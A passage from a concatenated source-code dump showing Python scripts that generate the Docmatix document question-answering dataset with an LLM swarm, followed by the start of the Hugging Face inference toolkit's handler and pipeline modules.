+    return not any((re.search(pattern, text, re.IGNORECASE) for pattern in patterns))
+
+def process_group(key_group):
+    try:
+        (key, group) = key_group
+        qa_pairs = []
+        for (_, row) in group.iterrows():
+            question = re.sub('^Q\\d+: ', '', row['question'])
+            answer = re.sub('^A\\d+: ', '', row['answer'])
+            if is_valid_question_or_answer(question) and is_valid_question_or_answer(answer):
+                qa_pairs.append({'user': question, 'assistant': answer, 'source': 'PDFA key: ' + str(row['__key__'])})
+        if qa_pairs:
+            return {'texts': qa_pairs, 'pdf': group['pdf'].iloc[0]}
+    except Exception as e:
+        print(f'Error processing group {key}: {e}')
+        return None
+
+def process_tar_index(tar_index, step_size, question_answer_df):
+    shard_nr = tar_index // step_size
+    loaded_datasets = []
+    for inner_idx in range(step_size):
+        tar_file = os.path.join(DATA_PATH, TAR_FILE_PATTERN.format(tar_index + inner_idx))
+        try:
+            print(f'Loading dataset from: {tar_file}')
+            hf_dataset = datasets.load_dataset('webdataset', split='train', data_files=tar_file, cache_dir='/fsx/.cache').to_pandas()
+            hf_dataset.__key__ = hf_dataset.__key__.apply(pd.to_numeric)
+            loaded_datasets.append(hf_dataset)
+        except Exception as e:
+            print(f'Error loading dataset from: {tar_file}')
+            print(e)
+    hf_dataset = pd.concat(loaded_datasets, ignore_index=True)
+    print(f'Concatenated datasets with {len(hf_dataset)} samples')
+    hf_dataset = hf_dataset[hf_dataset['__key__'].isin(question_answer_df['__key__'].unique())]
+    merged_df = pd.merge(hf_dataset, question_answer_df, on='__key__', how='inner')
+    data_extracted = []
+    max_threads = 10
+    with ThreadPoolExecutor(max_threads) as executor:
+        results = list(tqdm(executor.map(process_group, merged_df.groupby('__key__')), desc='Extracting data', total=len(merged_df['__key__'].unique())))
+    data_extracted.extend(results)
+    data_extracted = list(filter(lambda item: item is not None, data_extracted))
+    FEATURES = datasets.Features({'pdf': datasets.Value('binary'), 'texts': [{'user': datasets.Value('string'), 'assistant': datasets.Value('string'), 'source': datasets.Value('string')}]})
+
+    def data_generator():
+        for data_dict in data_extracted:
+            yield data_dict
+    ds_shard = datasets.Dataset.from_generator(data_generator, features=FEATURES, writer_batch_size=100, cache_dir='/fsx/.cache')
+    ds_shard.save_to_disk(f'/fsx/m4/datasets/docmatix_pdf/shard_{shard_nr}')
+
+def load_and_concatenate_dataframes():
+    if os.path.exists('/fsx/andi/llm-swarm/concatenated_synthetic_dataset.parquet.gzip'):
+        return pd.read_parquet('/fsx/andi/llm-swarm/concatenated_synthetic_dataset.parquet.gzip')
+    directory = '.'
+    all_files = os.listdir(directory)
+    h5_files = sorted([f for f in all_files if re.match('synthetic_dataset_batch_\\d+\\.h5$', f)])
+    dataframes = []
+    for file in tqdm(h5_files, desc='Loading data'):
+        file_path = os.path.join(directory, file)
+        df = pd.read_hdf(file_path)
+        if '__key__' not in df.columns:
+            raise ValueError(f'Key column not found in {file_path}')
+        df.__key__ = df.__key__.apply(pd.to_numeric)
+        dataframes.append(df)
+    concatenated_df = pd.concat(dataframes, ignore_index=True)
+    concatenated_df.to_parquet('concatenated_synthetic_dataset.parquet.gzip', compression='gzip')
+    return concatenated_df
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description='Process .h5 files and tar indices.')
+    parser.add_argument('--start_index', type=int, default=0, help='The starting index for tar processing.')
+    parser.add_argument('--step_size', type=int, default=1, help='The step size for tar processing.')
+    args = parser.parse_args()
+    question_answer_df = load_and_concatenate_dataframes()
+    print(len(question_answer_df))
+    process_tar_index(args.start_index, args.step_size, question_answer_df=question_answer_df)
+
+# File: docmatix-main/create_only_with_pdfs/upload_data.py
+from datasets import load_from_disk, concatenate_datasets
+from tqdm import tqdm
+import os
+
+def get_datasets():
+    if os.path.isdir('/fsx/m4/datasets/docmatix_pdf/concatenated'):
+        return load_from_disk('/fsx/m4/datasets/docmatix_pdf/concatenated')
+    hf_datasets = []
+    for shard_nr in tqdm(range(200)):
+        try:
+            hf_datasets.append(load_from_disk(f'/fsx/m4/datasets/docmatix_pdf/shard_{shard_nr}'))
+        except Exception as e:
+            print(f'Error loading dataset from: {shard_nr}')
+            print(e)
+    hf_data = concatenate_datasets(hf_datasets)
+    hf_data.save_to_disk('/fsx/m4/datasets/docmatix_pdf/concatenated')
+    return hf_data
+data = get_datasets()
+print(data.features)
+print(data[0]['texts'])
+print(data[0]['pdf'][:10])
+print(len(data))
+data.push_to_hub('HuggingFaceM4/Docmatix', 'pdf')
+
+# File: docmatix-main/florence_2_dataset/create_florence_2_dataset.py
+from functools import partial
+from datasets import load_from_disk, concatenate_datasets
+from tqdm import tqdm
+import re
+import pandas as pd
+import os
+import datasets
+IMAGE_FEATURES = datasets.Features({'image': datasets.Image(decode=True), '__key__': datasets.Value('int64')})
+TEXT_FEATURES = datasets.Features({'question': datasets.Value('string'), 'answer': datasets.Value('string'), '__key__': datasets.Value('int64')})
+
+def text_generator(df_text):
+    for (i, row) in df_text.iterrows():
+        print(i, row['__key__'])
+        yield {'question': row['question'], 'answer': row['answer'], '__key__': row['__key__']}
+
+def img_generator(df_img):
+    for (i, row) in df_img.iterrows():
+        print(i, row['__key__'])
+        yield {'image': row['images'][0], '__key__': row['__key__']}
+pre_key_len = len('PDFA key: ')
+for shard_number in tqdm(range(0, 200)):
+    try:
+        if os.path.exists(f'/fsx/m4/datasets/florence_vqa_instruct/shard_{shard_number}') and os.path.exists(f'/fsx/m4/datasets/florence_vqa_instruct_images/shard_{shard_number}'):
+            continue
+        df_data = load_from_disk(f'/fsx/m4/datasets/docvqa_instruct/shard_{shard_number}').to_pandas()
+        df_data['__key__'] = df_data.texts.apply(lambda x: x[0]['source'][pre_key_len:])
+        df_data['__key__'] = df_data['__key__'].apply(pd.to_numeric)
+        df_images = df_data[['images', '__key__']].copy()
+        df_images = df_images[df_images['images'].apply(len) <= 1]
+        df_texts = df_data[['texts']].explode('texts')
+        df_texts['question'] = df_texts['texts'].apply(lambda x: x.get('user'))
+        df_texts['answer'] = df_texts['texts'].apply(lambda x: x.get('assistant'))
+        df_texts['__key__'] = df_texts['texts'].apply(lambda x: x.get('source')[pre_key_len:])
+        df_texts['__key__'] = df_texts['__key__'].apply(pd.to_numeric)
+        df_texts = df_texts[df_texts['__key__'].isin(df_images['__key__'].unique())]
+        df_texts.drop(columns=['texts'], inplace=True)
+        df_texts = df_texts[df_texts['question'].apply(lambda x: len(x.split()) <= 900)]
+        df_texts = df_texts[df_texts['answer'].apply(lambda x: len(x.split()) <= 900)]
+        df_images = df_images[df_images['__key__'].isin(df_texts['__key__'].unique())]
+        ds_text = datasets.Dataset.from_generator(partial(text_generator, df_texts), features=TEXT_FEATURES, writer_batch_size=100, cache_dir='/fsx/.cache')
+        ds_text.save_to_disk(f'/fsx/m4/datasets/florence_vqa_instruct/shard_{shard_number}')
+        df_image = datasets.Dataset.from_generator(partial(img_generator, df_images), features=IMAGE_FEATURES, writer_batch_size=100, cache_dir='/fsx/.cache')
+        df_image.save_to_disk(f'/fsx/m4/datasets/florence_vqa_instruct_images/shard_{shard_number}')
+        print(f'Finished processing shard: {shard_number}')
+    except:
+        print(f'shard {shard_number} failed')
+all_ds = []
+for shard in tqdm(range(0, 200)):
+    try:
+        data = load_from_disk(f'/fsx/m4/datasets/florence_vqa_instruct/shard_{shard}')
+        all_ds.append(data)
+    except:
+        print(f'shard {shard} failed')
+all_ds = concatenate_datasets(all_ds)
+all_ds.save_to_disk('/fsx/m4/datasets/complete_florence_vqa_instruct', num_proc=96)
+
+# File: docmatix-main/generation/base_prompts.py
+BASE_PROMPT = '\nYou are reading text extracted from a PDF with several pages. The pages are divided by a line saying \'NEW PAGE\'. \nYour role is to {role_description}. If the type of questions requested are impossible to generate due to the simplicity of the document, default to simpler factual questions.\nThe PDFs might contain tables or images that are poorly parsed in the text. Avoid asking questions about these.\nIf the text seems to only contain uninteresting information, output "unanswerable" as the answer.\nHere are some examples for questions that follow your role:\n{examples}\n'
+BASE_USER_CONTENT = 'The text contained in the PDF is: \n{text} \n\nCreate the question answer pairs following this format:\nQ#: \nA#:\n\nIf you can\'t generate a questions for the text, write "unanswerable" as the answer.\n'
+PROMPTS = [{'role_description': 'understand the content of the PDF and create as many pairs of questions and answers as you need to cover the content of the PDF comprehensively. The questions should be varied, covering factual information, inferences, and deeper analysis of the text.', 'examples': '\n        Q1: What is the main topic of the document?\n        A1: The main topic of the document is...\n        \n        Q2: What are the key points discussed in the first section?\n        A2: The key points discussed in the first section include...\n\n        Q3: How does the author support their argument about X?\n        A3: The author supports their argument about X by...\n\n        Q4: What can be inferred about Y from the document?\n        A4: From the document, it can be inferred that Y...\n\n        Q5: What are the implications of Z mentioned in the document?\n        A5: The implications of Z mentioned in the document are...\n        '}, {'role_description': 'focus on generating enough pairs of questions and answers for each section of the document to ensure a detailed and complete coverage the document.', 'examples': '\n        Q1: What is the primary focus of the first section?\n        A1: The primary focus of the first section is...\n\n        Q2: What are the significant details mentioned in the second section?\n        A2: The significant details mentioned in the second section include...\n\n        Q3: How does the information in the third section relate to the overall topic of the document?\n        A3: The information in the third section relates to the overall topic by...\n        '}, {'role_description': 'understand the content of the PDF and create as many pairs of questions and answers as you need to cover the content of the PDF comprehensively. The questions should require critical thinking and analysis.', 'examples': '\n        Q1: What arguments does the author present in support of their thesis?\n        A1: The arguments presented by the author in support of their thesis include...\n\n        Q2: How does the author compare X and Y in the text?\n        A2: The author compares X and Y by...\n\n        Q3: What are the potential implications of the findings discussed in the document?\n        A3: The potential implications of the findings are...\n        '}, {'role_description': 'create as many pairs of questions and answers as you need to cover both summaries of sections and specific details. Ensure a coverage of broad themes and granular information.', 'examples': '\n        Q1: What is the summary of the first section?\n        A1: The summary of the first section is...\n\n        Q2: What specific data or evidence is provided in the second section?\n        A2: The specific data or evidence provided in the second section includes...\n\n        Q3: How do the details in the third section support the main argument of the document?\n        A3: The details in the third section support the main argument by...\n        '}, {'role_description': 'understand the content of the PDF and create as many pairs of questions and answers as you need to cover the content of the PDF comprehensively. The questions should be varied, covering factual information, inferences, and deeper analysis of the text. The questions should be asked in a general manner without introducing details from the document itself.', 'examples': '\n        Q1: What is the summary of the first section?\n        A1: The first section, called xxx, can be summarized as is...\n\n        Q2: What specific data or evidence is provided in the second section?\n        A2: In the section called xxx, there is a much data and evidence presented, such as...\n\n        Q3: How do the details in the third section support the main argument of the document?\n        A3: The details in the section on "xxx" support the main argument by...\n        '}]
+
+def create_prompts(text):
+    prompts = []
+    for prompt in PROMPTS:
+        system_content = BASE_PROMPT.format(role_description=prompt['role_description'], examples=prompt['examples'])
+        prompts.append([{'role': 'system', 'content': system_content}, {'role': 'user', 'content': BASE_USER_CONTENT.format(text=text)}])
+    return prompts
+
+# File: docmatix-main/generation/llm_swarm_script.py
+import asyncio
+import json
+import os
+import random
+import re
+from concurrent.futures import ThreadPoolExecutor
+from typing import Any, Dict, List, Optional
+import pandas as pd
+from datasets import IterableDataset, load_dataset
+from huggingface_hub import AsyncInferenceClient
+from tqdm import trange
+from tqdm.asyncio import tqdm_asyncio
+from transformers import AutoTokenizer
+from examples.question_answer_pairs.phase_1.base_prompts import BASE_PROMPT, BASE_USER_CONTENT, PROMPTS
+from llm_swarm import LLMSwarm, LLMSwarmConfig
+CHECKPOINT_FILE = 'checkpoint.json'
+DATA_PATH = '/fsx/andi/pdfa_data/'
+TAR_FILE_PATTERN = 'pdfa-eng-train-{:06d}.tar'
+NUM_TAR_FILES = 1800
+MAX_PAGES_PER_PDF = 4
+STEP_SIZE = 10
+model_id = 'microsoft/Phi-3-small-8k-instruct'
+
+def create_llm_prompt(prompt, text):
+    system_content = BASE_PROMPT.format(role_description=prompt['role_description'], examples=prompt['examples'])
+    return [{'role': 'system', 'content': system_content}, {'role': 'user', 'content': BASE_USER_CONTENT.format(text=text)}]
+
+def extract_text_per_page_from_sample(sample: Dict[str, Any]) -> List[str]:
+    texts = []
+    for page in sample['json']['pages']:
+        pages_text = ' \n '.join(page['lines']['text'])
+        texts.append(pages_text)
+    return texts
+
+def extract_chunks(pages: List[Any], max_tokens_per_group: int, max_pages_per_group: int, n_overlap: int) -> List[str]:
+    chunks = []
+    current_chunk = []
+    current_chunk_tokens = 0
+    current_chunk_pages = 0
+    page_token_counts = [len(tokenizer.encode(page, add_special_tokens=False)) for page in pages]
+    for (i, page) in enumerate(pages):
+        page_tokens = page_token_counts[i]
+        if page_tokens > max_tokens_per_group:
+            print(f'Skipping document where page nr {i} has {page_tokens} tokens.')
+            return []
+        if current_chunk_tokens + page_tokens > max_tokens_per_group or current_chunk_pages + 1 > max_pages_per_group:
+            if current_chunk:
+                chunks.append('\nNEW PAGE\n'.join(current_chunk))
+            current_chunk = current_chunk[-n_overlap:] if n_overlap > 0 else []
+            current_chunk_tokens = sum(page_token_counts[max(0, i - n_overlap):i])
+            current_chunk_pages = len(current_chunk)
+        current_chunk.append(page)
+        current_chunk_tokens += page_tokens
+        current_chunk_pages += 1
+    if current_chunk:
+        chunks.append('\nNEW PAGE\n'.join(current_chunk))
+    return chunks
+
+def create_tasks(dataset: IterableDataset, prompt_id: Optional[int]=None, n_overlap: int=2) -> List[Dict[str, Any]]:
+    if prompt_id is not None:
+        selected_id_prompt = prompt_id
+    tasks = []
+    for (index, sample) in dataset.iterrows():
+        text_per_page = extract_text_per_page_from_sample(sample)
+        if len(text_per_page) > MAX_PAGES_PER_PDF:
+            continue
+        page_chunks = extract_chunks(text_per_page, max_tokens_per_group=5000, max_pages_per_group=5, n_overlap=n_overlap)
+        for chunk in page_chunks:
+            if prompt_id is None:
+                selected_id_prompt = random.randint(0, 4)
+            prompt = PROMPTS[selected_id_prompt]
+            messages = create_llm_prompt(prompt, chunk)
+            prompt = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True)
+            tasks_dict = {'__key__': sample['__key__'], 'Page count': len(text_per_page), 'messages': prompt, 'Prompt ID': selected_id_prompt}
+            tasks.append(tasks_dict)
+    return tasks
+
+def extract_qa_pairs(text):
+    qa_pattern = re.compile('(Q\\d+:\\s*.*?)(A\\d+:\\s*.*?)(?=(Q\\d+:)|$)', re.DOTALL)
+    matches = qa_pattern.findall(text)
+    qa_pairs = [(q.strip(), a.strip()) for match in matches for (q, a) in [match[:2]]]
+    return qa_pairs
+
+def process_outputs_to_df(df):
+    all_data = []
+    for (index, row) in df.iterrows():
+        task = row['Task']
+        completion = row['Completion']
+        sample_key = task['__key__']
+        page_count = task['Page count']
+        prompt_id = task['Prompt ID']
+        qa_pairs = extract_qa_pairs(completion)
+        if len(qa_pairs) == 0:
+            print('No Q&A pairs found for sample:', sample_key)
+        for (question, answer) in qa_pairs:
+            all_data.append({'__key__': sample_key, 'Page count': page_count, 'Prompt ID': prompt_id, 'question': question, 'answer': answer})
+    qa_df = pd.DataFrame(all_data)
+    return qa_df
+
+def save_checkpoint(tar_index, total_examples):
+    checkpoint_data = {'tar_index': tar_index, 'total_examples': total_examples}
+    with open(CHECKPOINT_FILE, 'w') as f:
+        json.dump(checkpoint_data, f)
+
+def load_checkpoint():
+    if os.path.exists(CHECKPOINT_FILE):
+        with open(CHECKPOINT_FILE, 'r') as f:
+            return json.load(f)
+    return {'tar_index': 0, 'total_examples': 0}
+tokenizer = AutoTokenizer.from_pretrained(model_id, trust_remote_code=True)
+
+def launch():
+    with LLMSwarm(LLMSwarmConfig(instances=8, inference_engine='vllm', gpus=1, model=model_id, slurm_template_path='templates/vllm_h100.template.slurm', load_balancer_template_path='templates/nginx.template.conf', trust_remote_code=True, per_instance_max_parallel_requests=200)) as llm_swarm:
+        semaphore = asyncio.Semaphore(llm_swarm.suggested_max_parallel_requests)
+        client = AsyncInferenceClient(model=llm_swarm.endpoint)
+
+        async def process_text(prompt):
+            async with semaphore:
+                response = await client.post(json={'prompt': prompt, 'max_tokens': 2000})
+                res = json.loads(response.decode('utf-8'))['text'][0][len(prompt):]
+                return res
+
+        def load_and_process_dataset(tar_file):
+            try:
+                print(f'Loading dataset from: {tar_file}')
+                dataset = load_dataset('webdataset', split='train', data_files=tar_file).to_pandas()
+                tasks = create_tasks(dataset, prompt_id=None, n_overlap=1)
+                return tasks
+            except Exception as e:
+                print(f'Error loading dataset from: {tar_file}')
+                print(e)
+                return []
+
+        def get_future_tasks(tar_index, executor):
+            futures = []
+            for inner_idx in range(STEP_SIZE):
+                tar_file = os.path.join(DATA_PATH, TAR_FILE_PATTERN.format(tar_index + inner_idx))
+                futures.append(executor.submit(load_and_process_dataset, tar_file))
+            return futures
+
+        async def process_dataset(tar_index, total_examples):
+            next_future_tasks = get_future_tasks(tar_index, ThreadPoolExecutor(max_workers=STEP_SIZE))
+            for idx in trange(tar_index, NUM_TAR_FILES + STEP_SIZE, STEP_SIZE, desc='Creating Dataset'):
+                print(f'Processing tar file {idx}')
+                tasks = []
+                future_tasks = next_future_tasks
+                results = [f.result() for f in future_tasks]
+                for result in results:
+                    tasks.extend(result)
+                next_future_tasks = get_future_tasks(idx + STEP_SIZE, ThreadPoolExecutor(max_workers=1))
+                results = await tqdm_asyncio.gather(*(process_text(task['messages']) for task in tasks))
+                df = pd.DataFrame({'Task': tasks, 'Completion': results})
+                df_new = process_outputs_to_df(df)
+                df_new.to_hdf(f'synthetic_dataset_batch_{idx}.h5', key='df', mode='w')
+                unique_keys = df_new['__key__'].nunique()
+                total_examples += unique_keys
+                save_checkpoint(idx, total_examples)
+
+        async def main():
+            checkpoint = load_checkpoint()
+            tar_index = checkpoint['tar_index']
+            if tar_index != 0:
+                tar_index += STEP_SIZE
+                print(f'Resuming from tar file {tar_index}')
+            total_examples = checkpoint['total_examples']
+            processor = asyncio.create_task(process_dataset(tar_index, total_examples))
+            await processor
+            print('All batches processed.')
+        asyncio.run(main())
+launch()
+
+# File: docmatix-main/zero_shot_exp/zero_shot.py
+from datasets import Dataset, Features, Value, load_dataset, Image, Sequence
+TEST_SUBSET_LEN = 200
+TRAIN_SUBSET_LEN = 1700
+FEATURES = Features({'images': Sequence(Image(decode=True)), 'texts': [{'user': Value('string'), 'assistant': Value('string'), 'source': Value('string')}]})
+ds = load_dataset('HuggingFaceM4/Docmatix', 'images', streaming=True)
+test_subset = []
+train_subset = []
+for (idx, sample) in enumerate(ds['train']):
+    if idx < TEST_SUBSET_LEN:
+        test_subset.append(sample)
+    if idx >= TEST_SUBSET_LEN - 1:
+        if idx >= TEST_SUBSET_LEN + TRAIN_SUBSET_LEN - 1:
+            break
+        train_subset.append(sample)
+new_test_data = Dataset.from_list(test_subset, features=FEATURES)
+new_train_data = Dataset.from_list(train_subset, features=FEATURES)
+new_test_data.push_to_hub('HuggingFaceM4/Docmatix', 'zero-shot-exp', split='test')
+new_train_data.push_to_hub('HuggingFaceM4/Docmatix', 'zero-shot-exp', split='train')
+

huggingface_huggingface-inference-toolkit.txt

@@ -0,0 +1,543 @@
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/async_utils.py
+import functools
+from typing import Any, Callable, Dict, TypeVar
+import anyio
+from anyio import Semaphore
+from typing_extensions import ParamSpec
+MAX_CONCURRENT_THREADS = 1
+MAX_THREADS_GUARD = Semaphore(MAX_CONCURRENT_THREADS)
+T = TypeVar('T')
+P = ParamSpec('P')
+
+async def async_handler_call(handler: Callable[P, T], body: Dict[str, Any]) -> T:
+    async with MAX_THREADS_GUARD:
+        return await anyio.to_thread.run_sync(functools.partial(handler, body))
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/const.py
+import os
+from pathlib import Path
+from huggingface_inference_toolkit.env_utils import strtobool
+HF_MODEL_DIR = os.environ.get('HF_MODEL_DIR', '/opt/huggingface/model')
+HF_MODEL_ID = os.environ.get('HF_MODEL_ID', None)
+HF_TASK = os.environ.get('HF_TASK', None)
+HF_FRAMEWORK = os.environ.get('HF_FRAMEWORK', None)
+HF_REVISION = os.environ.get('HF_REVISION', None)
+HF_HUB_TOKEN = os.environ.get('HF_HUB_TOKEN', None)
+HF_TRUST_REMOTE_CODE = strtobool(os.environ.get('HF_TRUST_REMOTE_CODE', '0'))
+HF_DEFAULT_PIPELINE_NAME = os.environ.get('HF_DEFAULT_PIPELINE_NAME', 'handler.py')
+HF_MODULE_NAME = os.environ.get('HF_MODULE_NAME', f'{Path(HF_DEFAULT_PIPELINE_NAME).stem}.EndpointHandler')
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/diffusers_utils.py
+import importlib.util
+from typing import Union
+from transformers.utils.import_utils import is_torch_bf16_gpu_available
+from huggingface_inference_toolkit.logging import logger
+_diffusers = importlib.util.find_spec('diffusers') is not None
+
+def is_diffusers_available():
+    return _diffusers
+if is_diffusers_available():
+    import torch
+    from diffusers import AutoPipelineForText2Image, DPMSolverMultistepScheduler, StableDiffusionPipeline
+
+class IEAutoPipelineForText2Image:
+
+    def __init__(self, model_dir: str, device: Union[str, None]=None, **kwargs):
+        dtype = torch.float32
+        if device == 'cuda':
+            dtype = torch.bfloat16 if is_torch_bf16_gpu_available() else torch.float16
+        device_map = 'balanced' if device == 'cuda' else None
+        self.pipeline = AutoPipelineForText2Image.from_pretrained(model_dir, torch_dtype=dtype, device_map=device_map, **kwargs)
+        if isinstance(self.pipeline, StableDiffusionPipeline):
+            try:
+                self.pipeline.scheduler = DPMSolverMultistepScheduler.from_config(self.pipeline.scheduler.config)
+            except Exception:
+                pass
+
+    def __call__(self, prompt, **kwargs):
+        if 'num_images_per_prompt' in kwargs:
+            kwargs.pop('num_images_per_prompt')
+            logger.warning('Sending num_images_per_prompt > 1 to pipeline is not supported. Using default value 1.')
+        out = self.pipeline(prompt, num_images_per_prompt=1, **kwargs)
+        return out.images[0]
+DIFFUSERS_TASKS = {'text-to-image': IEAutoPipelineForText2Image}
+
+def get_diffusers_pipeline(task=None, model_dir=None, device=-1, **kwargs):
+    device = 'cuda' if device == 0 else 'cpu'
+    pipeline = DIFFUSERS_TASKS[task](model_dir=model_dir, device=device, **kwargs)
+    return pipeline
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/env_utils.py
+def strtobool(val: str) -> bool:
+    val = val.lower()
+    if val in ('y', 'yes', 't', 'true', 'on', '1'):
+        return True
+    if val in ('n', 'no', 'f', 'false', 'off', '0'):
+        return False
+    raise ValueError(f'Invalid truth value, it should be a string but {val} was provided instead.')
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/handler.py
+import os
+from pathlib import Path
+from typing import Optional, Union
+from huggingface_inference_toolkit.const import HF_TRUST_REMOTE_CODE
+from huggingface_inference_toolkit.utils import check_and_register_custom_pipeline_from_directory, get_pipeline
+
+class HuggingFaceHandler:
+
+    def __init__(self, model_dir: Union[str, Path], task=None, framework='pt'):
+        self.pipeline = get_pipeline(model_dir=model_dir, task=task, framework=framework, trust_remote_code=HF_TRUST_REMOTE_CODE)
+
+    def __call__(self, data):
+        inputs = data.pop('inputs', data)
+        parameters = data.pop('parameters', None)
+        if parameters is not None:
+            prediction = self.pipeline(inputs, **parameters)
+        else:
+            prediction = self.pipeline(inputs)
+        return prediction
+
+class VertexAIHandler(HuggingFaceHandler):
+
+    def __init__(self, model_dir: Union[str, Path], task=None, framework='pt'):
+        super().__init__(model_dir, task, framework)
+
+    def __call__(self, data):
+        if 'instances' not in data:
+            raise ValueError("The request body must contain a key 'instances' with a list of instances.")
+        parameters = data.pop('parameters', None)
+        predictions = []
+        for inputs in data['instances']:
+            payload = {'inputs': inputs, 'parameters': parameters}
+            predictions.append(super().__call__(payload))
+        return {'predictions': predictions}
+
+def get_inference_handler_either_custom_or_default_handler(model_dir: Path, task: Optional[str]=None):
+    custom_pipeline = check_and_register_custom_pipeline_from_directory(model_dir)
+    if custom_pipeline:
+        return custom_pipeline
+    elif os.environ.get('AIP_MODE', None) == 'PREDICTION':
+        return VertexAIHandler(model_dir=model_dir, task=task)
+    else:
+        return HuggingFaceHandler(model_dir=model_dir, task=task)
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/logging.py
+import logging
+import sys
+
+def setup_logging():
+    for handler in logging.root.handlers[:]:
+        logging.root.removeHandler(handler)
+    logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S', stream=sys.stdout)
+    logging.getLogger('uvicorn').handlers.clear()
+    logging.getLogger('uvicorn.access').handlers.clear()
+    logging.getLogger('uvicorn.error').handlers.clear()
+    logger = logging.getLogger('huggingface_inference_toolkit')
+    return logger
+logger = setup_logging()
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/optimum_utils.py
+import importlib.util
+import os
+from huggingface_inference_toolkit.logging import logger
+_optimum_neuron = False
+if importlib.util.find_spec('optimum') is not None:
+    if importlib.util.find_spec('optimum.neuron') is not None:
+        _optimum_neuron = True
+
+def is_optimum_neuron_available():
+    return _optimum_neuron
+
+def get_input_shapes(model_dir):
+    from transformers import AutoConfig
+    input_shapes = {}
+    input_shapes_available = False
+    try:
+        config = AutoConfig.from_pretrained(model_dir)
+        if hasattr(config, 'neuron'):
+            if config.neuron.get('static_batch_size', None) and config.neuron.get('static_sequence_length', None):
+                input_shapes['batch_size'] = config.neuron['static_batch_size']
+                input_shapes['sequence_length'] = config.neuron['static_sequence_length']
+                input_shapes_available = True
+                logger.info(f"Input shapes found in config file. Using input shapes from config with batch size {input_shapes['batch_size']} and sequence length {input_shapes['sequence_length']}")
+            else:
+                if os.environ.get('HF_OPTIMUM_BATCH_SIZE', None) is not None:
+                    logger.warning('HF_OPTIMUM_BATCH_SIZE environment variable is set. Environment variable will be ignored and input shapes from config file will be used.')
+                if os.environ.get('HF_OPTIMUM_SEQUENCE_LENGTH', None) is not None:
+                    logger.warning('HF_OPTIMUM_SEQUENCE_LENGTH environment variable is set. Environment variable will be ignored and input shapes from config file will be used.')
+    except Exception:
+        input_shapes_available = False
+    if input_shapes_available:
+        return input_shapes
+    sequence_length = os.environ.get('HF_OPTIMUM_SEQUENCE_LENGTH', None)
+    if sequence_length is None:
+        raise ValueError('HF_OPTIMUM_SEQUENCE_LENGTH environment variable is not set. Please set HF_OPTIMUM_SEQUENCE_LENGTH to a positive integer.')
+    if not int(sequence_length) > 0:
+        raise ValueError(f'HF_OPTIMUM_SEQUENCE_LENGTH must be set to a positive integer. Current value is {sequence_length}')
+    batch_size = os.environ.get('HF_OPTIMUM_BATCH_SIZE', 1)
+    logger.info(f'Using input shapes from environment variables with batch size {batch_size} and sequence length {sequence_length}')
+    return {'batch_size': int(batch_size), 'sequence_length': int(sequence_length)}
+
+def get_optimum_neuron_pipeline(task, model_dir):
+    logger.info('Getting optimum neuron pipeline.')
+    from optimum.neuron.pipelines.transformers.base import NEURONX_SUPPORTED_TASKS, pipeline
+    from optimum.neuron.utils import NEURON_FILE_NAME
+    if not isinstance(model_dir, str):
+        model_dir = str(model_dir)
+    if task == 'sentence-embeddings':
+        task = 'feature-extraction'
+    if task not in NEURONX_SUPPORTED_TASKS:
+        raise ValueError(f'Task {task} is not supported by optimum neuron and inf2. Supported tasks are: {list(NEURONX_SUPPORTED_TASKS.keys())}')
+    export = True
+    if NEURON_FILE_NAME in os.listdir(model_dir):
+        export = False
+    if export:
+        logger.info('Model is not converted. Checking if required environment variables are set and converting model.')
+    input_shapes = get_input_shapes(model_dir)
+    neuron_pipe = pipeline(task, model=model_dir, export=export, input_shapes=input_shapes)
+    return neuron_pipe
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/sentence_transformers_utils.py
+import importlib.util
+_sentence_transformers = importlib.util.find_spec('sentence_transformers') is not None
+
+def is_sentence_transformers_available():
+    return _sentence_transformers
+if is_sentence_transformers_available():
+    from sentence_transformers import CrossEncoder, SentenceTransformer, util
+
+class SentenceSimilarityPipeline:
+
+    def __init__(self, model_dir: str, device: str=None, **kwargs):
+        self.model = SentenceTransformer(model_dir, device=device, **kwargs)
+
+    def __call__(self, inputs=None):
+        embeddings1 = self.model.encode(inputs['source_sentence'], convert_to_tensor=True)
+        embeddings2 = self.model.encode(inputs['sentences'], convert_to_tensor=True)
+        similarities = util.pytorch_cos_sim(embeddings1, embeddings2).tolist()[0]
+        return {'similarities': similarities}
+
+class SentenceEmbeddingPipeline:
+
+    def __init__(self, model_dir: str, device: str=None, **kwargs):
+        self.model = SentenceTransformer(model_dir, device=device, **kwargs)
+
+    def __call__(self, inputs):
+        embeddings = self.model.encode(inputs).tolist()
+        return {'embeddings': embeddings}
+
+class RankingPipeline:
+
+    def __init__(self, model_dir: str, device: str=None, **kwargs):
+        self.model = CrossEncoder(model_dir, device=device, **kwargs)
+
+    def __call__(self, inputs):
+        scores = self.model.predict(inputs).tolist()
+        return {'scores': scores}
+SENTENCE_TRANSFORMERS_TASKS = {'sentence-similarity': SentenceSimilarityPipeline, 'sentence-embeddings': SentenceEmbeddingPipeline, 'sentence-ranking': RankingPipeline}
+
+def get_sentence_transformers_pipeline(task=None, model_dir=None, device=-1, **kwargs):
+    device = 'cuda' if device == 0 else 'cpu'
+    kwargs.pop('tokenizer', None)
+    kwargs.pop('framework', None)
+    if task not in SENTENCE_TRANSFORMERS_TASKS:
+        raise ValueError(f"Unknown task {task}. Available tasks are: {', '.join(SENTENCE_TRANSFORMERS_TASKS.keys())}")
+    return SENTENCE_TRANSFORMERS_TASKS[task](model_dir=model_dir, device=device, **kwargs)
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/serialization/base.py
+from huggingface_inference_toolkit.serialization.audio_utils import Audioer
+from huggingface_inference_toolkit.serialization.image_utils import Imager
+from huggingface_inference_toolkit.serialization.json_utils import Jsoner
